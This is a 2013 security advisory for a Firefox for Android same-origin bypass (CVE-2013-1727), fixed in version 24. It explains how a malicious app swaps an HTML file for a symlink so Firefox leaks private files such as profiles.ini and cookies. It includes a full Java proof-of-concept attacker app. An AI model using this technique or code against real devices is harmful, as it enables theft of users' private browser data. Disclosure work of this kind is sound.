CVE Number: CVE-2013-1727
Vender Identifier: MFSA 2013-84
Title: Firefox
for
Android - Same-origin bypass through
symbolic links
Affected Software: Prior to v24 (confirmed on v14)
Credit: Takeshi Terada of Mitsui Bussan Secure Directions, Inc.
Issue Status: v24 was released which fixes this vulnerability
Overview:
Firefox
for
Android's Same-Origin Policy
for
local files (file: URI) can
be bypassed by using symbolic links. It results in theft of Firefox's
private
files by malicious Android apps.
Details:
As described in MDN Document (*), Firefox allows a local file to read
another file, only
if
the parent directory of the originating file is an
ancestor directory of the target file.
* https:
//developer.mozilla.org/en-US/docs/Same-origin_policy_for_file:_URIs
However, it is possible to circumvent the restriction by a trick using
symbolic link.
This issue enables malicious Android apps to steal Firefox's
private
files such
as
Cookie file.
As an example, steps to steal Firefox's profiles.ini are described below:
1. An attacker's app creates a malicious HTML file,
and
makes Firefox load
its URL with file scheme. The malicious HTML contains JavaScript code
which, a few seconds later, tries to read the same URL with itself via
XMLHttpRequest.
<u>Wait a few seconds.</u>
<script>
function
doit() {
var
xhr =
new
XMLHttpRequest;
xhr.onload =
function
() {
alert(xhr.responseText);
};
xhr.open(
'GET'
, document.URL);
xhr.send(null);
}
setTimeout(doit, 8000);
</script>";
2. Before XHR fires, the attacker's app replaces the malicious HTML with
a symbolic link pointing to Firefox's profiles.ini file.
3. When XHR fires, Firefox follows the symlink
and
provides the content
of the profiles.ini file to the malicious HTML.
Through the steps above, the attacker's app can gain the path of the
Firefox
's private files such as Cookie file. The attacker'
s app can also
get the contents of those
private
files in a similar manner.
Note:
It should be noted that this issue does not matter in Firefox
for
normal
PC platform (such
as
Windows OS), in which all apps are regarded
as
reasonably trustworthy. However it does matter in Android platform with
sandbox security model intended to segretate apps. In such platforms,
app developers cannot regard other apps
as
trustworty.
By this difference in platform security model, Android apps that are
ported from PC often suffer from unexpected vulnerabilities. Obviously
such vulnerabilities are not specific to Firefox. In reality, I
discovered such vulnerabilities in Chrome
for
Android last year.
Chrome
for
Android vulnerabilities:
1. http:
//seclists.org/bugtraq/2013/Jan/22
2. http:
//seclists.org/bugtraq/2013/Jan/23
3. http:
//seclists.org/bugtraq/2013/Jan/24
4. http:
//seclists.org/bugtraq/2013/Jan/25
5. http:
//seclists.org/bugtraq/2013/Jan/26
(#4 is a quite similar issue
as
the issue described in this advisory)
Proof of Concept:
/////////////////////////////////////////////////////////////////
// malicious android app that steals Firefox's profiles.ini file
/////////////////////////////////////////////////////////////////
package jp.mbsd.terada.attackfirefox1;
import android.net.Uri;
import android.os.Bundle;
import android.app.Activity;
import android.content.Intent;
public
class
MainActivity
extends
Activity {
public
final
static
String MY_PKG =
"jp.mbsd.terada.attackfirefox1"
;
public
final
static
String MY_TMP_DIR =
"/data/data/"
+ MY_PKG +
"/tmp/"
;
public
final
static
String HTML_PATH =
MY_TMP_DIR +
"A"
+ Math.random() +
".html"
;
public
final
static
String TARGET_PKG =
"org.mozilla.firefox"
;
public
final
static
String TARGET_FILE_PATH =
"/data/data/"
+ TARGET_PKG +
"/files/mozilla/profiles.ini"
;
public
final
static
String HTML =
"<u>Wait a few seconds.</u>"
+
"<script>"
+
"function doit() {"
+
" var xhr = new XMLHttpRequest;"
+
" xhr.onload = function() {"
+
" alert(xhr.responseText);"
+
" };"
+
" xhr.open('GET', document.URL);"
+
" xhr.send(null);"
+
"}"
+
"setTimeout(doit, 8000);"
+
"</script>"
;
@Override
public
void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
doit();
}
public
void doit() {
try
{
// create a malicious HTML
cmdexec(
"mkdir "
+ MY_TMP_DIR);
cmdexec(
"echo \""
+ HTML +
"\" > "
+ HTML_PATH);
cmdexec(
"chmod -R 777 "
+ MY_TMP_DIR);
Thread.sleep(1000);
// force Firefox to load the malicious HTML
Thread.sleep(4000);
// replace the HTML with a symbolic link to profiles.ini
cmdexec(
"rm "
+ HTML_PATH);
cmdexec(
"ln -s "
+ TARGET_FILE_PATH +
" "
+ HTML_PATH);
}
catch
(Exception e) {}
}
public
void invokeFirefox(String url) {
Intent intent =
new
Intent(Intent.ACTION_VIEW, Uri.parse(url));
intent.setClassName(TARGET_PKG, TARGET_PKG +
".App"
);
startActivity(intent);
}
public
void cmdexec(String cmd) {
try
{
String[] tmp =
new
String[] {
"/system/bin/sh"
,
"-c"
, cmd};
Runtime.getRuntime().
exec
(tmp);
}
catch
(Exception e) {}
}
}
Timeline:
2012/08/14 Reported to Firefox
2013/09/17 Vender announced v24
2013/09/30 Disclosure of this advisory
Recommendation:
Upgrade to the latest version.
Reference:
http:
//www.mozilla.org/security/announce/2013/mfsa2013-84.html
--
Takeshi Terada
Mitsui Bussan Secure Directions, Inc.
http:
//www.mbsd.jp/